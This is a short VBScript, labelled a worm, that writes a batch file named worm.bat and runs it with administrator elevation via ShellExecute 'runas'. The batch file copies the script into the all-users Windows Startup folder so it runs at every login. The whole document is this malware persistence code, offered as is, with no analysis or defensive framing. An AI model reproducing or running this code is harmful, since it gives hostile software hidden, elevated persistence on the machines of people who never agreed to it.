outFile="worm.bat"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "@echo off" & vbCrLf
objFile.Write "SET mypath=%~dp0" & vbCrLf
objFile.Write "copy %mypath%\worm.vbs ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\worm.vbs""" & vbCrLf
objFile.Close

CreateObject("Shell.Application").ShellExecute "worm.bat", "", "", "runas", 1